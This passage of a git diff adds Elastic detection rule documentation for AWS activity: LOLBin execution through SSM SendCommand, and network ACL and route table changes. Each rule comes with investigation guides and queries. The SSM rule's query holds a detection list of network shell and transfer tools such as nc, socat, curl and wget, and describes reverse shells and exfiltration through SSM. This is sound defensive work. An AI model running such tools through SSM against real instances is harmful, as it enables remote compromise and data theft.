https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Cloud Services +** ID: T1021.007 +** Reference URL: https://attack.mitre.org/techniques/T1021/007/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-lolbin-execution-via-ssm-sendcommand.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-lolbin-execution-via-ssm-sendcommand.asciidoc new file mode 100644 index 0000000000..68205fb805 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-lolbin-execution-via-ssm-sendcommand.asciidoc @@ -0,0 +1,262 @@ +[[prebuilt-rule-8-19-20-aws-ec2-lolbin-execution-via-ssm-sendcommand]] +=== AWS EC2 LOLBin Execution via SSM SendCommand + +Identifies the execution of Living Off the Land Binaries (LOLBins) or GTFOBins on EC2 instances via AWS Systems Manager (SSM) `SendCommand` API. This detection correlates AWS CloudTrail `SendCommand` events with endpoint process execution by matching SSM command IDs. While AWS redacts command parameters in CloudTrail logs, this correlation technique reveals the actual commands executed on EC2 instances. Adversaries may abuse SSM to execute malicious commands remotely without requiring SSH or RDP access, using legitimate system utilities for data exfiltration, establishing reverse shells, or lateral movement. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mitiga.io/blog/abusing-the-amazon-web-services-ssm-agent-as-a-remote-access-trojan +* https://www.kali.org/tools/pacu/ +* https://www.100daysofredteam.com/p/ghost-in-the-cloud-abusing-aws-ssm +* https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ +* https://gtfobins.github.io/ + +*Tags*: + +* Domain: Cloud +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS EC2 +* Data Source: AWS SSM +* Data Source: AWS Systems Manager +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 LOLBin Execution via SSM SendCommand* + + +AWS Systems Manager (SSM) enables remote command execution on EC2 instances without SSH/RDP access. While legitimate for administration, adversaries exploit this by running LOLBins—system utilities abused for malicious purposes like data theft or backdoors. This detection correlates CloudTrail API logs with endpoint telemetry using SSM command IDs, bypassing AWS's parameter redaction to reveal actual executed commands and identify suspicious activity. + +This is an ESQL aggregation-based rule, thus all original event fields and detail may not be present in the alert. It is recommended to pivot into the raw events from both data sources for full context during investigation. + + +*Possible investigation steps* + + +- Review the SSM command ID in the alert to track the full lifecycle of the command from initiation to execution across both CloudTrail and endpoint data +- Examine the CloudTrail user identity, including the ARN and access key ID, to determine who initiated the SSM command and verify if the activity is authorized +- Analyze the command lines of the executed LOLBins to understand what commands were run and assess their intent, looking for indicators of data exfiltration, reverse shells, or reconnaissance +- Check the source IP address and user agent from the CloudTrail event to identify if the request came from an expected location or tool +- Investigate the affected EC2 instances for other suspicious activities or signs of compromise during the same timeframe, including network connections and file modifications +- Review the SSM shell process details to see the full context of what the SSM agent executed and identify the parent-child process relationships +- Correlate the timing between the CloudTrail event and endpoint execution to ensure they occurred within the detection window and represent the same activity +- Check if the same user identity or source IP has executed similar SSM commands on other EC2 instances in your environment + + +*False positive analysis* + + +- Routine administrative scripts that use utilities like curl, wget, or python for legitimate configuration management should be documented and excluded by user identity or source IP +- Automated monitoring tools that execute commands via SSM for health checks or data collection can be filtered by identifying their consistent patterns and access key IDs +- DevOps CI/CD pipelines that deploy or test applications using SSM may trigger alerts; create exceptions based on known automation roles or specific command patterns +- Security scanning tools that legitimately use SSM for vulnerability assessments should be allowlisted by their known IAM roles or source IPs +- Scheduled maintenance tasks using LOLBins for backup, log rotation, or data synchronization can be excluded by command pattern matching or execution timing + + +*Response and remediation* + + +- Immediately isolate the affected EC2 instance from the network to prevent further unauthorized command execution or lateral movement +- Review AWS CloudTrail logs to identify the IAM user, role, or access key associated with the suspicious SSM command and revoke or rotate compromised credentials +- Terminate any unauthorized processes identified on the endpoint that match the LOLBin execution patterns detected in the alert +- Conduct a forensic analysis of the affected EC2 instance to identify any persistence mechanisms, backdoors, or data exfiltration indicators +- Implement stricter IAM policies to limit SSM `SendCommand` permissions to only trusted users and roles, following the principle of least privilege +- Enable multi-factor authentication (MFA) for IAM users with SSM execution privileges to reduce the risk of credential compromise +- Review and update VPC security groups and network ACLs to restrict outbound traffic from EC2 instances to only necessary destinations, preventing data exfiltration +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional AWS resources or accounts have been compromised + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail*, logs-endpoint.events.process-* METADATA _id, _version, _index +| WHERE + // CloudTrail SSM SendCommand with AWS-RunShellScript + ( + event.dataset == "aws.cloudtrail" + AND event.action == "SendCommand" + AND aws.cloudtrail.request_parameters LIKE "*documentName=AWS-RunShellScript*" + ) + // Linux endpoint process events, prefiltered to SSM shell runner OR LOLBins/GTFOBins + OR + ( + event.dataset == "endpoint.events.process" + AND host.os.type == "linux" + AND ( + // SSM shell (_script.sh) runner + process.command_line LIKE "%/document/orchestration/%/awsrunShellScript/%/_script.sh" + // LOLBins / GTFOBins + OR process.name IN ( + "base64", + "curl", + "wget", + "openssl", + "nc", "ncat", "netcat", + "socat", + "python", "python3", + "perl", + "php", + "ruby", + "ssh", + "scp", + "sftp", + "rsync" + ) + ) + ) + +// Endpoint leg: extract SSM command ID from parent command line +| DISSECT process.parent.command_line + "%{}/document/orchestration/%{Esql.process_parent_command_line_ssm_command_id}/%{}" + +// CloudTrail leg: extract SSM command ID from response_elements +| DISSECT aws.cloudtrail.response_elements + "%{}commandId=%{Esql.aws_cloudtrail_response_elements_ssm_command_id},%{}" + +// Coalesce SSM command ID from both data sources +| EVAL Esql.aws_ssm_command_id = COALESCE( + Esql.aws_cloudtrail_response_elements_ssm_command_id, + Esql.process_parent_command_line_ssm_command_id +) +| WHERE Esql.aws_ssm_command_id IS NOT NULL + +// Role flags +| EVAL Esql.is_cloud_event = event.dataset == "aws.cloudtrail" +| EVAL Esql.is_endpoint_event = event.dataset == "endpoint.events.process" + +// Identify the SSM shell processes (the _script.sh runners) +| EVAL Esql.is_ssm_shell_process = + Esql.is_endpoint_event + AND process.command_line LIKE "%/document/orchestration/%/awsrunShellScript/%/_script.sh" + +// LOLBins / GTFOBins on Linux +| EVAL Esql.is_lolbin_process = + Esql.is_endpoint_event AND NOT Esql.is_ssm_shell_process + +// Aggregate per SSM command ID +| STATS + // Core correlation counts & timing + Esql.aws_cloudtrail_event_count = SUM(CASE(Esql.is_cloud_event, 1, 0)), + Esql.endpoint_events_process_lolbin_count = SUM(CASE(Esql.is_lolbin_process, 1, 0)), + Esql.endpoint_events_process_ssm_shell_count = SUM(CASE(Esql.is_ssm_shell_process, 1, 0)), + Esql.aws_cloudtrail_first_event_ts = MIN(CASE(Esql.is_cloud_event, @timestamp, null)), + Esql.endpoint_events_process_first_lolbin_ts = MIN(CASE(Esql.is_lolbin_process, @timestamp, null)), + + // AWS / CloudTrail identity & request context + Esql_priv.aws_cloudtrail_user_identity_arn_values = + VALUES(CASE(Esql.is_cloud_event, aws.cloudtrail.user_identity.arn, null)), + Esql_priv.aws_cloudtrail_user_identity_access_key_id_values = + VALUES(CASE(Esql.is_cloud_event, aws.cloudtrail.user_identity.access_key_id, null)), + Esql_priv.user_name_values = + VALUES(CASE(Esql.is_cloud_event, user.name, null)), + + // AWS environment / request metadata + Esql.cloud_region_values = VALUES(CASE(Esql.is_cloud_event, cloud.region, null)), + Esql.source_ip_values = VALUES(CASE(Esql.is_cloud_event, source.ip, null)), + Esql.user_agent_original_values = + VALUES(CASE(Esql.is_cloud_event, user_agent.original, null)), + + // Endpoint host & user context + Esql.host_name_values = VALUES(CASE(Esql.is_endpoint_event, host.name, null)), + Esql_priv.endpoint_user_name_values = + VALUES(CASE(Esql.is_endpoint_event, user.name, null)), + + // SSM shell processes on endpoint + Esql.process_command_line_ssm_shell_values = + VALUES(CASE(Esql.is_ssm_shell_process, process.command_line, null)), + Esql.process_pid_ssm_shell_values = + VALUES(CASE(Esql.is_ssm_shell_process, process.pid, null)), + + // LOLBin processes on endpoint + Esql.process_name_lolbin_values = + VALUES(CASE(Esql.is_lolbin_process, process.name, null)), + Esql.process_executable_lolbin_values = + VALUES(CASE(Esql.is_lolbin_process, process.executable, null)), + Esql.process_command_line_lolbin_values = + VALUES(CASE(Esql.is_lolbin_process, process.command_line, null)), + Esql.process_pid_lolbin_values = + VALUES(CASE(Esql.is_lolbin_process, process.pid, null)), + Esql.process_parent_command_line_lolbin_values = + VALUES(CASE(Esql.is_lolbin_process, process.parent.command_line, null)), + + Esql.data_stream_namespace_values = VALUES(data_stream.namespace) + BY Esql.aws_ssm_command_id + +// Detection condition: SSM SendCommand + AWS-RunShellScript + LOLBin on endpoint +| WHERE Esql.aws_cloudtrail_event_count > 0 + AND Esql.endpoint_events_process_lolbin_count > 0 + AND DATE_DIFF( + "minutes", + Esql.endpoint_events_process_first_lolbin_ts, + Esql.aws_cloudtrail_first_event_ts + ) <= 5 +| SORT Esql.aws_cloudtrail_first_event_ts ASC +| KEEP Esql.*, Esql_priv.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-network-access-control-list-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-network-access-control-list-creation.asciidoc new file mode 100644 index 0000000000..ca828624a6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-network-access-control-list-creation.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-20-aws-ec2-network-access-control-list-creation]] +=== AWS EC2 Network Access Control List Creation + +Identifies the creation of an AWS EC2 network access control list (ACL) or an entry in a network ACL with a specified rule number. Adversaries may exploit ACLs to establish persistence or exfiltrate data by creating permissive rules. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/create-network-acl.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateNetworkAcl.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/create-network-acl-entry.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateNetworkAclEntry.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Network Security Monitoring +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Network Access Control List Creation* + + +AWS EC2 Network ACLs are stateless firewalls for controlling inbound and outbound traffic at the subnet level. Adversaries may exploit ACLs to establish persistence or exfiltrate data by creating permissive rules. The detection rule monitors successful creation events of ACLs or entries, flagging potential unauthorized modifications that align with persistence tactics, aiding in early threat identification. + + +*Possible investigation steps* + + +- Review the CloudTrail logs for the specific event.dataset:aws.cloudtrail entries to identify the user or role (event.user) that initiated the CreateNetworkAcl or CreateNetworkAclEntry actions. +- Examine the event.provider:ec2.amazonaws.com logs to determine the IP addresses and locations associated with the request to assess if they are expected or suspicious. +- Check the event.action details to understand the specific rules created in the Network ACL, focusing on any overly permissive rules that could indicate a security risk. +- Investigate the event.outcome:success entries to confirm the successful creation of the ACL or ACL entry and correlate with any other suspicious activities in the AWS environment. +- Cross-reference the event with other security alerts or logs to identify any patterns or anomalies that could suggest malicious intent or unauthorized access. +- Assess the impact of the new ACL rules on the network security posture, ensuring they do not inadvertently allow unauthorized access or data exfiltration. + + +*False positive analysis* + + +- Routine infrastructure updates or deployments may trigger the creation of new network ACLs or entries. To manage this, establish a baseline of expected changes during scheduled maintenance windows and exclude these from alerts. +- Automated scripts or infrastructure-as-code tools like Terraform or CloudFormation can create network ACLs as part of normal operations. Identify and whitelist these automated processes to prevent unnecessary alerts. +- Changes made by trusted administrators or security teams for legitimate purposes can be mistaken for suspicious activity. Implement a process to log and review approved changes, allowing you to exclude these from detection. +- Temporary ACLs created for troubleshooting or testing purposes can generate alerts. Document and track these activities, and use tags or naming conventions to easily identify and exclude them from monitoring. +- Third-party services or integrations that require specific network configurations might create ACLs. Review and validate these services, and if deemed safe, add them to an exception list to reduce false positives. + + +*Response and remediation* + + +- Immediately review the AWS CloudTrail logs to confirm the creation of the Network ACL or entry and identify the IAM user or role responsible for the action. This helps determine if the action was authorized or potentially malicious. +- Revoke any suspicious or unauthorized IAM credentials associated with the creation of the Network ACL or entry to prevent further unauthorized access. +- Modify or delete the newly created Network ACL or entry if it is determined to be unauthorized or overly permissive, ensuring that it aligns with your organization's security policies. +- Conduct a security review of the affected AWS environment to identify any other unauthorized changes or indicators of compromise, focusing on persistence mechanisms. +- Implement additional monitoring and alerting for changes to Network ACLs and other critical AWS resources to enhance detection of similar threats in the future. +- Escalate the incident to the security operations team or incident response team for further investigation and to determine if additional containment or remediation actions are necessary. +- Review and update IAM policies and permissions to ensure the principle of least privilege is enforced, reducing the risk of unauthorized changes to network configurations. + + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:(CreateNetworkAcl or CreateNetworkAclEntry) and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-route-table-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-route-table-created.asciidoc new file mode 100644 index 0000000000..e3290e9a74 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-route-table-created.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-aws-ec2-route-table-created]] +=== AWS EC2 Route Table Created + +Identifies when an EC2 Route Table has been created. Route tables can be used by attackers to disrupt network traffic, reroute communications, or maintain persistence in a compromised environment. This is a New Terms rule that detects the first instance of this behavior by a user or role. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.datadoghq.com/security_platform/default_rules/aws-ec2-route-table-modified/ +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateRoute.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateRouteTable + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Network Security Monitoring +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Route Table Created* + + +AWS Route Tables are crucial components in managing network traffic within AWS environments, directing data between subnets and internet gateways. Adversaries may exploit route tables to reroute traffic for data exfiltration or to establish persistence by creating unauthorized routes. The detection rule monitors successful creation events of route tables, flagging potential misuse by correlating specific AWS CloudTrail logs, thus aiding in identifying unauthorized network configuration changes. + + +*Possible investigation steps* + + +- Investigate the AWS account and IAM user or role to determine if the action aligns with expected behavior and permissions. +- Examine the newly created route table's configuration to identify any unauthorized or suspicious routes that could indicate potential misuse or data exfiltration attempts. +- Correlate the event with other network security monitoring data to identify any unusual traffic patterns or anomalies that coincide with the route table creation. +- Assess the environment for any recent changes or incidents that might explain the creation of the route table, such as new deployments or infrastructure modifications. + + +*False positive analysis* + + +- Routine infrastructure updates or deployments may trigger route table creation events. To manage this, establish a baseline of expected behavior during scheduled maintenance windows and exclude these from alerts. +- Automated cloud management tools often create route tables as part of their operations. Identify these tools and create exceptions for their known activities to reduce noise. +- Development and testing environments frequently undergo changes, including the creation of route tables. Consider excluding these environments from alerts or applying a different set of monitoring rules. +- Legitimate changes by authorized personnel can be mistaken for suspicious activity. Implement a process to verify and document authorized changes, allowing for quick exclusion of these events from alerts. +- Multi-account AWS setups might have centralized networking teams that create route tables across accounts. Coordinate with these teams to understand their activities and exclude them from triggering alerts. + + +*Response and remediation* + + +- If unauthorized, remove permissions for related actions from the user or role. You can use the managed https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDenyAll.html[AWSDenyAll] policy. +- Review the newly created route table and any associated routes to identify unauthorized entries. Remove any routes that are not part of the expected network configuration. +- Conduct a thorough audit of IAM roles and permissions to ensure that only authorized users have the ability to create or modify route tables. Revoke any excessive permissions identified. +- Implement network monitoring to detect unusual traffic patterns that may indicate data exfiltration or other malicious activities. +- Escalate the incident to the security operations team for further investigation and to determine if additional AWS resources have been compromised. +- Review AWS CloudTrail logs for any other suspicious activities around the time of the route table creation to identify potential indicators of compromise. +- Update security policies and procedures to include specific guidelines for monitoring and responding to unauthorized route table modifications, ensuring rapid detection and response in the future. + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action:( + "CreateRoute" or + "CreateRouteTable" + ) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-route-table-modified-or-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-route-table-modified-or-deleted.asciidoc new file mode 100644 index 0000000000..f8f089e189 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-route-table-modified-or-deleted.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-aws-ec2-route-table-modified-or-deleted]] +=== AWS EC2 Route Table Modified or Deleted + +Identifies AWS CloudTrail events where an EC2 route table or association has been modified or deleted. Route table or association modifications can be used by attackers to disrupt network traffic, reroute communications, or maintain persistence in a compromised environment. This is a New Terms rule that detects the first instance of this behavior by a user or role. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/easttimor/aws-incident-response#network-routing +* https://docs.datadoghq.com/security_platform/default_rules/aws-ec2-route-table-modified/ +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ReplaceRoute.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ReplaceRouteTableAssociation +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteRouteTable.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteRoute.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisassociateRouteTable.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Network Security Monitoring +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 212 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS EC2 Route Table Modified or Deleted* + + +This rule detects modifications or deletions of AWS route tables using actions such as `ReplaceRoute`, `ReplaceRouteTableAssociation`, `DeleteRouteTable`, `DeleteRoute`, or `DisassociateRouteTable`. These actions may indicate legitimate administrative activity, but they can also be abused by attackers to disrupt network traffic, reroute communications, or maintain persistence in a compromised environment. + + +*Possible Investigation Steps* + + +- **Review Request Parameters:** + - Check the `aws.cloudtrail.request_parameters` field. The sub-fields may vary depending on the `event.action` (e.g., `routeTableId` for `DeleteRouteTable`, `destinationCidrBlock` for `ReplaceRoute`). + - Validate the affected route table, routes, or associations based on the API call: + - For `ReplaceRoute`: Look for changes in specific routes using `destinationCidrBlock`. + - For `ReplaceRouteTableAssociation`: Review the new association details (e.g., subnet ID). + - For `DeleteRouteTable`: Confirm the `routeTableId` of the deleted table. + - For `DisassociateRouteTable`: Verify the disassociated resources. + +- **Review User Context**: + - **User Identity**: Inspect the `aws.cloudtrail.user_identity.arn` field to determine the user or role initiating the action. Investigate whether this user is authorized to perform these operations. + - **Access Key ID**: Check the `aws.cloudtrail.user_identity.access_key_id` field to identify if the access key used was expected or potentially compromised. + - **Access Patterns**: Validate whether the user or role has a history of performing route table modifications and whether this aligns with their expected responsibilities. + +- **Analyze Request Details**: + - **Action Type**: Verify the specific API call in the `event.action` field (e.g., `ReplaceRoute`, `DeleteRouteTable`) to understand the nature of the modification. + - **Source IP and Geolocation**: Examine the `source.ip` and `source.geo` fields to confirm whether the request originated from a trusted location. Suspicious geolocations or IPs may indicate adversarial activity. + - **User Agent**: Review the `user_agent.original` field to determine the tool used for the request (e.g., AWS CLI, Terraform). Unusual or custom user agents may indicate malicious intent. + +- **Correlate with Other Activity**: + - **Concurrent API Calls**: Look for related API calls (e.g., `CreateRoute`, `AuthorizeSecurityGroupIngress`, or `ModifyInstanceAttribute`) from the same user or IP to detect broader attack patterns. + - **IAM Changes**: Investigate whether any IAM policy updates or privilege escalation attempts preceded this activity. + - **Unusual Volume of Changes**: Check if the user has performed multiple route table modifications or deletions in a short timeframe. + +- **Validate the Intent**: + - **Planned Changes**: Confirm with administrators whether the route table changes were part of a planned update or maintenance activity. + - **Permissions and Justification**: Ensure that the user or role has the least privilege necessary for these actions and that there is a valid reason for modifying the route table. + + +*False Positive Analysis* + + +- **Routine Administration**: Route table modifications are often part of routine administrative tasks, such as creating new routes, updating associations, or removing unused resources. +- **Automation Tools**: Automated workflows, such as those executed by Terraform or CloudFormation, may trigger these events. Verify whether the `user_agent.original` field or source IP matches known automation tools. +- **Maintenance or Scaling**: Confirm whether these actions align with maintenance activities or scaling events (e.g., adding or removing subnets). + + +*Response and Remediation* + + +- **Revoke Unauthorized Permissions**: If unauthorized, remove permissions for related actions from the user or role. You can use the managed https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDenyAll.html[AWSDenyAll] policy. +- **Restore the Route Table**: + - If critical networking was impacted, restore the route table or reapply previous configurations from backups or Terraform state files. + - Verify connectivity to affected subnets or instances to ensure no disruptions to services. +- **Audit IAM Policies**: + - Limit route table modification permissions to specific trusted users, roles, or automation accounts. + - Implement conditions in IAM policies, such as source IP restrictions, to reduce the risk of unauthorized access. +- **Monitor and Alert**: + - Set up additional alerts for unexpected route table modifications or deletions. + - Use VPC flow logs and CloudTrail to monitor for related suspicious activity. +- **Secure Automation**: Ensure automation tools, such as Terraform or CloudFormation, are configured securely and that their credentials are stored in secure locations like AWS Secrets Manager. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action:( + "ReplaceRoute" or + "ReplaceRouteTableAssociation" or + "DeleteRouteTable" or + "DeleteRoute" or + "DisassociateRouteTable" + ) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-security-group-configuration-change.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-security-group-configuration-change.asciidoc new file mode 100644 index 0000000000..f9a5c4960e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-security-group-configuration-change.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-aws-ec2-security-group-configuration-change]] +=== AWS EC2 Security Group Configuration Change + +Identifies a change to an AWS Security Group Configuration. A security group is like a virtual firewall, and modifying configurations may allow unauthorized access. Threat actors may abuse this to establish persistence, exfiltrate data, or pivot in an AWS environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* 